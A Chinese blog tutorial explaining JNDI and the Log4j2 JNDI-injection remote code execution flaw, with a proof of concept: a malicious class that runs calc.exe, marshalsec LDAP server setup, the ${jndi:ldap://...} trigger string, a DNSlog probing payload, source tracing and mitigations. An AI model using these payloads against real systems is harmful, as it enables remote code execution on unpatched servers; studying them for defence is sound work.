log4j远程漏洞

1.JNDI(Java 命名和目录接口)

JNDI官网介绍:

The Java Naming and Directory InterfaceTM (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the JavaTM programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories--new, emerging, and already deployed--can be accessed in a common way

维基百科:

JNDI是Java的一个命名服务和目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

JNDI架构图:


截图.png
  • 命名服务、目录服务
        命名服务可以简单理解为key,value键值对的绑定,可以通过键检索对象,例如java的rmi(remote method invocation)。目录服务可以理解为是命名服务的进一步扩展,可以通过对象属性来检索对象。比如你要到网易找我,你可以通过组织架构来层层过滤,一级部门,二级部门,三级部门,姓名, 这些信息是我(对象)的属性。这一层层的关系和目录结构很类似。如LDAP。命名服务和目录服务本质上是一样的,本质上都是根据键搜索对象/属性(给一个key返回一个value),只不过目录服务的键更加复杂,也更加灵活。
        上图展示的架构图中,有很多种命名和目录服务LDAP,DNS,RMI等,在开发过程中对接不通的服务代码实现差异化比较大,而JNDI就是为了屏蔽这种差异而存在的,有了JNDI后我们就可以轻松的访问各种命名服务而不用关注底层实现细节。

下面简单介绍两种命名服务

  • LDAP
public class Ldap {
    public static void main(String[] args) {
        Hashtable env = new Hashtable();
        env.put("com.sun.jndi.ldap.connect.pool", "true");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        DirContext ctx = new InitialDirContext(env);
        // {objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://127.0.0.1:8888/, javafactory=javaFactory: Log4jRCE, javaclassname=javaClassName: foo}
        System.out.println(ctx.getAttributes("Log4jRCE"));
        // Reference Class Name: foo
        System.out.println(ctx.lookup("Log4jRCE"));
    }
}
  • RMI
public class RmiJndiClient {
    public static void main(String[] args) throws Exception {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8888");
        Context ictx = new InitialContext(env);
        // Proxy[HelloService,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.0.1:64563](remote),objID:[-64147281:17dcb01fc7f:-7fff, 6762749682484428843]]]]]
        System.out.println(ictx.lookup("hello"));
    }
}
  • DNS
public static void main(String[] args) throws Exception {
    final Hashtable env = new Hashtable();
    //设定DNS Service Provider.
    env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
    env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
    DirContext dnsContext = new InitialDirContext(env);
    Attributes attrs = dnsContext.getAttributes("zzz.xxx.com", new String[]{"A"});
    // {a=A: 59.111.163.92}
    System.out.println(attrs);

对于不同的命名服务/目录服务,开发人员在开发的过程当中会开发不通的代码来完成对不通服务的调用,大大加大了开发人员的开发成本和难度。如:


截图 (1).png

而为了简化对各种命名服务/目录服务的调用,通过JNDI的封装,只需要开发人员传入不通的参数或配置,使用同一套代码即可完成各种服务直接的调用,大大降低了学习成本和开发难度,如:


截图 (2).png

总结:
JNDI就是对各种客户端如何访问命名服务和目录服务端细节的封装,屏蔽了各种客户端实现的细节,统一对外暴露了一套接口简化对命名服务和目录服务的访问复杂性。可以把JNDI看做就是普通客户端的封装,封装了一堆不同的客户端,只要告诉我名字就返回你想要的客户端不用自己实现。命名服务和目录服务的特点就是给服务端一个key,服务端就会返回一个value。

  • java对象与命名服务
    一般来说目录服务就是存数据的,目录服务就是具有层级结构的记录,这些记录包含了很多属性,你可以从目录服务中查找你感兴趣的记录,并获取其属性。
    在Java中,java对象也经常需要被共享使用,因此,对于一些java应用通过目录服务存储java对象也是很有意义的。目录服务为java分布式应用提供了一种集中管理,可复用的对象存储服务。JNDI提供了一种java对象和目录服务的视图,可以添加java对象到目录服务中,也可以从目录服务中提取java对象。目录服务中存储的对象,有下面几种方式
    1.Java serializable objects
    2.Referenceable objects and JNDI References
    3.Objects with attributes (DirContext)
    4.RMI (Java Remote Method Invocation) objects (including those that use IIOP)
    5.CORBA objects

当命名服务中存储的是一个Reference对象,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI/LDAP服务上的对象为Reference类或者其子类,则在客户端获取到远程对象Reference时,可以从其他服务器上加载 class 文件来进行实例化。例如RMI:

// 服务端
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1099);
    System.out.println("Create RMI registry on port 1099");
    String url = "http://127.0.0.1:8888/";
    Reference reference = new Reference("Log4jRCE", "Log4jRCE", url);
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("Log4jRCE", referenceWrapper);
}
// 客户端
public static void main(String[] args) throws Exception {
    Context ctx = new InitialContext();
    ctx.lookup("rmi://127.0.0.1:1099/Log4jRCE");
}

当有客户端通过lookup("Log4jRCE")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类,如果不存在则去指定的url(http://127.0.0.1:8888/Log4jRCE.class)动态加载,可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行。

截图.png

通过ldap也可以动态加载类,LDAP可以在属性值中存储相关的Java对象,通过Using Java serialization和Using JNDI References两种方式存储对象。JNDI获取到属性后根据判断属性类型可以动态加载类或实例化对象。参考JNDI with LDAP

总结:
其实就是客户端给命名或目录服务传了一个key,服务端返回了一个value(Reference),不过这个value是个特殊的value,客户端认识这个特殊的value。客户端发现是个特殊的value(Reference),则客户端根据这个特殊value中的信息去其他服务器获取类并动态加载。

  • log4j2 远程漏洞演示
    简单介绍下log4j2的lookup功能:
    “Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface”
    主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。比如:要在日志中获取主机信息,获取环境变量信息,获取docker信息,通过JNDI获取信息等,log4j2允许你在任何需要的地方使用约定格式来获取环境中的指定配置信息。
    log4j2在打印日志时会解析特定格式的字符串如${jndi:ldap://127.0.0.1:1389/Log4jRCE}, 在打印日志时会根据解析器把上述字符串解析为一个jndi服务调用,服务是ldap。
截图 (1).png

例如:当黑客输入一个特殊错误的用户名,服务端会对这个用户名做校验,如果校验不对需要打印错误日志,此时就可能会触发远程过程调用。

看下log4j2 (log4j2版本 < log4j-2.15.0-rc2) 怎样通过JNDI注入实现远程代码执行的。我们先演示下log4j2是怎样通过JNDI获取信息获取信息的。

1.编写一个攻击脚本调用系统命令,现在用计算器替代

class Log4jRCE {
    static {
        System.out.println("I am Log4jRCE from remote!!!");
        try {
            String[] cmd = {"calc.exe"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    public Log4jRCE() {
        System.out.println("I am Log4jRCE from remote222!!!");
    }
}

2.攻击者编译后把这个脚本部署到任意web服务,我这用的springboot,放到 resources/static 下面:


截图 (2).png

3.攻击者部署ldap服务:

1.git clone https://github.com/mbechler/marshalsec.git
2.cd marshalsec
3.mvn clean package -DskipTests
4.启动服务 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

4.受害者调用log4j2打印日志:

package com.xxx;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2 {
    private static final Logger logger = LogManager.getLogger(Log4j2.class);
    public static void main(String[] args) {
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}
//最后调用了JNDI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.SECURITY_AUTHENTICATION, "Simple");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
ctx = new InitialLdapContext(env, null);
System.out.println("Connection Successful.");
System.out.println(ctx.getAttributes("Log4jRCE"));
ctx.lookup("Log4jRCE");
// ldap返回的value
// attributes:{objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://127.0.0.1:8888/, javafactory=javaFactory: Log4jRCE, javaclassname=javaClassName: foo}

可以发现此时受害者客户端(日志打印)执行了攻击者自己部署的脚本Log4jRCE。

  • dnslog简介
    有个网站DNSlog,在该网站可以注册一个域名如2xao4l.dnslog.cn,然后当你解析这个域名时就会在这个网站记录解析成功的记录.

    截图 (3).png

    那黑客怎么确定你的服务有没有JNDI漏洞呢,那他就可以盲注了(类似SQL盲注),构造${{jndi:dns://2xao4l.dnslog.cn}}如果DNSLog网站有记录产生,说明你中招了,那黑客可以通过${jndi:ldap://黑客ldap-ip:1389/Log4jRCE}远程代码执行了

  • 源码分析
    一切从logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}")开始

    截图.png

    然后会调到MessagePatternConverter#format
    截图 (1).png

然后会到StrSubstitutor#substitute会把${jndi:ldap://127.0.0.1:1389/Log4jRCE} 转成jndi:ldap://127.0.0.1:1389/Log4jRCE 然后对jndi:ldap://127.0.0.1:1389/Log4jRCE做解析

截图 (2).png

截图 (3).png

然后调到Interpolator#lookup


截图 (4).png

然后调到JndiLookup#lookup


截图 (5).png

然后调到JndiManager#lookup


截图 (6).png

是不是对InitialContext很眼熟,回到我们最开始的JNDI调用


截图 (7).png
  • 漏洞修复
    1.覆盖之前的jndi插件


    截图.png

    截图 (1).png

Interpolator中所有lookup的容器是一个hashMap


截图 (2).png

加载插件


截图 (3).png

因为先加载原来的jndi,然后才加载插件,strLookupMap又是一个HashMap,只要key都是jndi就可以覆盖之前的jndi

2.配置MessagePatternConverter option
截图 (4).png

依据:


截图 (5).png

3.配置log4j2.formatMsgNoLookups=true


截图 (6).png

截图 (7).png

2,3来源,MessagePatternConverter#format中判断


截图 (8).png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,039评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,426评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,417评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,868评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,892评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,692评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,416评论 3 419
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,326评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,782评论 1 316
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,957评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,102评论 1 350
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,790评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,442评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,996评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,113评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,332评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,044评论 2 355

推荐阅读更多精彩内容